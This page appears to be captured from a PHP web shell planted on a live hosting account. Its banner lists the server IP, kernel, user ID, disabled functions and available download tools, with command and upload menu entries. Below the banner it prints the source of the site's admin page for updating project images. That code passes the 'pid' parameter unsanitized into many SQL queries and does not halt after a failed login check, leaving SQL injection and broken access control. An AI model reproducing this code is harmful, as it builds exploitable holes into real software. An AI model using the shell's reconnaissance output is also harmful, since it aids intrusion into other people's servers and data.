|
Server IP : 217.21.85.138 / Your IP : 216.73.216.103 Web Server : LiteSpeed System : Linux in-mum-web906.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64 User : u915722082 ( 915722082) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u915722082/public_html/sbm/../DOT/admin/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include "config.php";
session_start();
if(!isset($_SESSION['AID']))
{
echo"<script>alert('Access Denined');window.open('index','_self');</script>";
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<?php require_once "inc/head.php";?>
<link rel="stylesheet" href="inc/css/chosen.css">
</head>
<body class="page-body">
<div class="page-container">
<div class="sidebar-menu">
<?php require_once "inc/sidebar.php";?>
</div>
<div class="main-content">
<div class="row">
<?php require_once "inc/top_nav.php";?>
<ol class="breadcrumb bc-3" >
<li>
<a href="admin_home"><i class="fa-home"></i>Home</a>
</li>
<li class="active">
<strong>Update Project Images</strong>
</li>
</ol>
<h2> Projects Images <a class="btn btn-xs btn-danger pull-right" href="admin_view_project">Back</a></h2><hr>
<div class="row">
<div class="col-md-12">
<div class="col-md-3">
<h3 class="text-primary"> Update Client Picture </h3><hr>
<?php
$pid=$_GET["pid"];
//-------------------Client image upload--------------------//
if(isset($_POST["cimage"]))
{
if(isset($_FILES["img"])){
$imgData =addslashes (file_get_contents($_FILES['img']['tmp_name']));
$sql="update project set C_PHOTO='{$imgData}' where pid={$pid}";
if($con->query($sql)){
echo "<div class='alert alert-success'> Update Success</div>";
}
}
}
$sql="select * from project where pid={$pid}";
$res=$con->query($sql);
if($res->num_rows>0){
while($row=$res->fetch_assoc()){
echo "<img src='data:image;base64,".base64_encode($row["C_PHOTO"])."' class='img-thumbnail' id='cimg' height='200' width='200'>";
}
}
?>
<br style="clear:both;"><br>
<form method="post" enctype="multipart/form-data" role="form" action="<?php $_SERVER["REQUEST_URI"]; ?>">
<div class="form-group">
<label>Client Images : </label>
<input type="file" id="browse_img" name="img">
</div>
<div class="form-group">
<button type="submit" class="btn btn-success" name="cimage"> Update Image</button>
</div>
</form>
</div>
<div class="col-md-9" >
<h3 class="text-primary"> Project Images </h3><hr>
<?php
//------------------- image upload------------------------------//
if(isset($_POST["submitimg"]))
{
update_img($con);
}
function update_img($con)
{
if(isset($_FILES["limg"]))
{
$imgData =$_FILES['limg']['tmp_name'];
$c=0;
do
{
if(file_exists($imgData))
{
$c=1;
$imgData =addslashes(file_get_contents($_FILES['limg']['tmp_name']));
}
else
{
$c=0;
}
}while($c==1);
if($imgData!='')
{
$sql="update project set PLIMG='{$imgData}' where PID={$_GET["pid"]}";
$con->query($sql);
}
}
if(isset($_FILES["bimg"]))
{
$imgData =$_FILES['bimg']['tmp_name'];
$c=0;
do
{
if(file_exists($imgData))
{
$c=1;
$imgData =addslashes(file_get_contents($_FILES['bimg']['tmp_name']));
}
else
{
$c=0;
}
}while($c==1);
if($imgData!='')
{
$sql=" select * from project_img_single Where PID ={$_GET["pid"]}";
$res=$con->query($sql);
$re1=$res->fetch_assoc();
$b=$re1["BIMG"];
$i1=$re1["IMG1"];
$i2=$re1["IMG2"];
$i3=$re1["IMG3"];
$i4=$re1["IMG4"];
$i5=$re1["IMG5"];
if($b==''&&$i1==''&&$i2==''&&$i3==''&&$i4==''&&$i5=='')
{
$sql="insert into project_img_single(BIMG,PID) values('{$imgData}',{$_GET["pid"]})";
$con->query($sql);
}
else{
$sql="update project_img_single set BIMG='{$imgData}' where PID={$_GET["pid"]}";
$con->query($sql);
}
}
}
if(isset($_FILES["img1"]))
{
$imgData =$_FILES['img1']['tmp_name'];
$c=0;
do
{
if(file_exists($imgData))
{
$c=1;
$imgData =addslashes (file_get_contents($_FILES['img1']['tmp_name']));
}
else
{
$c=0;
}
}while($c==1);
if($imgData!='')
{
$sql=" select * from project_img_single Where PID ={$_GET["pid"]}";
$res=$con->query($sql);
$re1=$res->fetch_assoc();
$b=$re1["BIMG"];
$i1=$re1["IMG1"];
$i2=$re1["IMG2"];
$i3=$re1["IMG3"];
$i4=$re1["IMG4"];
$i5=$re1["IMG5"];
if($b==''&&$i1==''&&$i2==''&&$i3==''&&$i4==''&&$i5=='')
{
$sql="insert into project_img_single(IMG1,PID) values('{$imgData}',{$_GET["pid"]})";
$con->query($sql);
}
else{
$sql="update project_img_single set IMG1='{$imgData}' where PID={$_GET["pid"]}";
$con->query($sql);
}
}
}
if(isset($_FILES["img2"]))
{
$imgData =$_FILES['img2']['tmp_name'];
$c=0;
do
{
if(file_exists($imgData))
{
$c=1;
$imgData =addslashes (file_get_contents($_FILES['img2']['tmp_name']));
}
else
{
$c=0;
}
}while($c==1);
if($imgData!='')
{
$sql=" select * from project_img_single Where PID ={$_GET["pid"]}";
$res=$con->query($sql);
$re1=$res->fetch_assoc();
$b=$re1["BIMG"];
$i1=$re1["IMG1"];
$i2=$re1["IMG2"];
$i3=$re1["IMG3"];
$i4=$re1["IMG4"];
$i5=$re1["IMG5"];
if($b==''&&$i1==''&&$i2==''&&$i3==''&&$i4==''&&$i5=='')
{
$sql="insert into project_img_single(IMG2,PID) values('{$imgData}',{$_GET["pid"]})";
$con->query($sql);
}
else{
$sql="update project_img_single set IMG2='{$imgData}' where PID={$_GET["pid"]}";
$con->query($sql);
}
}
}
if(isset($_FILES["img3"]))
{
$imgData =$_FILES['img3']['tmp_name'];
$c=0;
do
{
if(file_exists($imgData))
{
$c=1;
$imgData =addslashes (file_get_contents($_FILES['img3']['tmp_name']));
}
else
{
$c=0;
}
}while($c==1);
if($imgData!='')
{
$sql=" select * from project_img_single Where PID ={$_GET["pid"]}";
$res=$con->query($sql);
$re1=$res->fetch_assoc();
$b=$re1["BIMG"];
$i1=$re1["IMG1"];
$i2=$re1["IMG2"];
$i3=$re1["IMG3"];
$i4=$re1["IMG4"];
$i5=$re1["IMG5"];
if($b==''&&$i1==''&&$i2==''&&$i3==''&&$i4==''&&$i5=='')
{
$sql="insert into project_img_single(IMG3,PID) values('{$imgData}',{$_GET["pid"]})";
$con->query($sql);
}
else{
$sql="update project_img_single set IMG3='{$imgData}' where PID={$_GET["pid"]}";
$con->query($sql);
}
}
}
if(isset($_FILES["img4"]))
{
$imgData =$_FILES['img4']['tmp_name'];
$c=0;
do
{
if(file_exists($imgData))
{
$c=1;
$imgData =addslashes (file_get_contents($_FILES['img4']['tmp_name']));
}
else
{
$c=0;
}
}while($c==1);
if($imgData!='')
{
$sql=" select * from project_img_single Where PID ={$_GET["pid"]}";
$res=$con->query($sql);
$re1=$res->fetch_assoc();
$b=$re1["BIMG"];
$i1=$re1["IMG1"];
$i2=$re1["IMG2"];
$i3=$re1["IMG3"];
$i4=$re1["IMG4"];
$i5=$re1["IMG5"];
if($b==''&&$i1==''&&$i2==''&&$i3==''&&$i4==''&&$i5=='')
{
$sql="insert into project_img_single(IMG4,PID) values('{$imgData}',{$_GET["pid"]})";
$con->query($sql);
}
else{
$sql="update project_img_single set IMG4='{$imgData}' where PID={$_GET["pid"]}";
$con->query($sql);
}
}
}
if(isset($_FILES["img5"]))
{
$imgData =$_FILES['img5']['tmp_name'];
$c=0;
do
{
if(file_exists($imgData))
{
$c=1;
$imgData =addslashes (file_get_contents($_FILES['img5']['tmp_name']));
}
else
{
$c=0;
}
}while($c==1);
if($imgData!='')
{
$sql=" select * from project_img_single Where PID ={$_GET["pid"]}";
$res=$con->query($sql);
$re1=$res->fetch_assoc();
$b=$re1["BIMG"];
$i1=$re1["IMG1"];
$i2=$re1["IMG2"];
$i3=$re1["IMG3"];
$i4=$re1["IMG4"];
$i5=$re1["IMG5"];
if($b==''&&$i1==''&&$i2==''&&$i3==''&&$i4==''&&$i5=='')
{
$sql="insert into project_img_single(IMG5,PID) values('{$imgData}',{$_GET["pid"]})";
$con->query($sql);
}
else{
$sql="update project_img_single set IMG5='{$imgData}' where PID={$_GET["pid"]}";
$con->query($sql);
}
}
echo "<div class='alert alert-success'>Photo Upload Successfully<button class='close'>×</button></div>";
}
}
if(isset($pid))
{
$sql=" select * from project_img_single Where PID ='{$pid}'";
$res=$con->query($sql);
$re=$res->fetch_assoc();
}
if(isset($pid))
{
$rec="select * from project where pid={$_GET["pid"]}";
$so=$con->query($rec);
if($so->num_rows>0){
$sil=$so->fetch_assoc();
}
}
?>
<form id="imageform" method="post" enctype="multipart/form-data" action='<?php echo $_SERVER["REQUEST_URI"]?>'>
<div class="col-md-3">
<div id='plimg' class="img-thumbnail">
<?php
echo "<img src='data:image;base64,".base64_encode($sil["PLIMG"])."' id='p_limg' height='200' width='200'>";
?>
</div>
<br style="clear:both;"><br>
<div class="form-group">
<label>Thumbnail Slider Image <b>(488*683)</b> : </label>
<input type="hidden" name="ppid" value="<?php echo $sil["PID"];?>">
<input type="file" name="limg" id="limg" />
</div>
</div>
<div class="col-md-3">
<div id='pre_bimg' class="img-thumbnail">
<?php
echo "<img src='data:image;base64,".base64_encode($re["BIMG"])."' id='pb_img' height='200' width='200'>";
?>
</div>
<br style="clear:both;"><br>
<div class="form-group">
<label>Banner Image <b>(800*530)</b> : </label>
<input type="hidden" name="ppid" value="<?php echo $re["PID"];?>">
<input type="file" name="bimg" id="bimg" />
</div>
</div>
<div class="col-md-3">
<div id='pre_img1' class="img-thumbnail">
<?php
echo "<img src='data:image;base64,".base64_encode($re["IMG1"])."' id='p_img1' height='200' width='200'>";
?>
</div>
<br style="clear:both;"><br>
<div class="form-group">
<label> Image 1 <b>(800*530)</b> : </label>
<input type="hidden" name="ppid" value="<?php echo $re["PID"];?>">
<input type="file" name="img1" id="img1" />
</div>
</div>
<div class="col-md-3">
<div id='pre_img2' class="img-thumbnail">
<?php
echo "<img src='data:image;base64,".base64_encode($re["IMG2"])."' id='p_img2' height='200' width='200'>";
?>
</div>
<br style="clear:both;"><br>
<div class="form-group">
<label> Image 2 <b>(800*530)</b> : </label>
<input type="hidden" name="ppid" value="<?php echo $re["PID"];?>">
<input type="file" name="img2" id="img2" />
</div>
</div>
<div class="col-md-3">
<div id='pre_img3' class="img-thumbnail">
<?php
echo "<img src='data:image;base64,".base64_encode($re["IMG3"])."' id='p_img3' height='200' width='200'>";
?>
</div>
<br style="clear:both;"><br>
<div class="form-group">
<label> Image 3 <b>(680*907)</b> : </label>
<input type="hidden" name="ppid" value="<?php echo $re["PID"];?>">
<input type="file" name="img3" id="img3" />
</div>
</div>
<div class="col-md-3">
<div id='pre_img4' class="img-thumbnail">
<?php
echo "<img src='data:image;base64,".base64_encode($re["IMG4"])."' id='p_img4' height='200' width='200'>";
?>
</div>
<br style="clear:both;"><br>
<div class="form-group">
<label> Image 4 <b>(800*530)</b> : </label>
<input type="hidden" name="ppid" value="<?php echo $re["PID"];?>">
<input type="file" name="img4" id="img4" />
</div>
</div>
<div class="col-md-3">
<div id='pre_img5' class="img-thumbnail">
<?php
echo "<img src='data:image;base64,".base64_encode($re["IMG5"])."' id='p_img5' height='200' width='200'>";
?>
</div>
<br style="clear:both;"><br>
<div class="form-group">
<label> Image 5 <b>(800*530)</b> : </label>
<input type="hidden" name="ppid" value="<?php echo $re["PID"];?>">
<input type="file" name="img5" id="img5" />
</div>
</div>
<div class="form-group col-md-12" style="margin-top:30px;">
<input type="submit" name="submitimg" value="Update Image" class='btn btn-primary'>
</div>
</form>
</div>
</div>
<br />
</div>
<br />
<?php require_once "inc/footer.php";?>
<script>
$("document").ready(function(){
// Client Image------------------------
$("#browse_img").change(function(){
if(this.files&&this.files[0])
{
var reader=new FileReader();
reader.onload=function(e){
$("#cimg").attr("src",e.target.result);
}
reader.readAsDataURL(this.files[0]);
}
});
// project banner---------------------------------------------
$("#bimg").change(function(){
if(this.files&&this.files[0])
{
var reader=new FileReader();
reader.onload=function(e){
$("#pb_img").attr("src",e.target.result);
}
reader.readAsDataURL(this.files[0]);
}
});
// slider image------------------------------------------------
$("#limg").change(function(){
if(this.files&&this.files[0])
{
var reader=new FileReader();
reader.onload=function(e){
$("#p_limg").attr("src",e.target.result);
}
reader.readAsDataURL(this.files[0]);
}
});
// project images----------------------------------------------
$("#img1").change(function(){
if(this.files&&this.files[0])
{
var reader=new FileReader();
reader.onload=function(e){
$("#p_img1").attr("src",e.target.result);
}
reader.readAsDataURL(this.files[0]);
}
});
$("#img2").change(function(){
if(this.files&&this.files[0])
{
var reader=new FileReader();
reader.onload=function(e){
$("#p_img2").attr("src",e.target.result);
}
reader.readAsDataURL(this.files[0]);
}
});
$("#img3").change(function(){
if(this.files&&this.files[0])
{
var reader=new FileReader();
reader.onload=function(e){
$("#p_img3").attr("src",e.target.result);
}
reader.readAsDataURL(this.files[0]);
}
});
$("#img4").change(function(){
if(this.files&&this.files[0])
{
var reader=new FileReader();
reader.onload=function(e){
$("#p_img4").attr("src",e.target.result);
}
reader.readAsDataURL(this.files[0]);
}
});
$("#img5").change(function(){
if(this.files&&this.files[0])
{
var reader=new FileReader();
reader.onload=function(e){
$("#p_img5").attr("src",e.target.result);
}
reader.readAsDataURL(this.files[0]);
}
});
});
</script>
</body>
</html>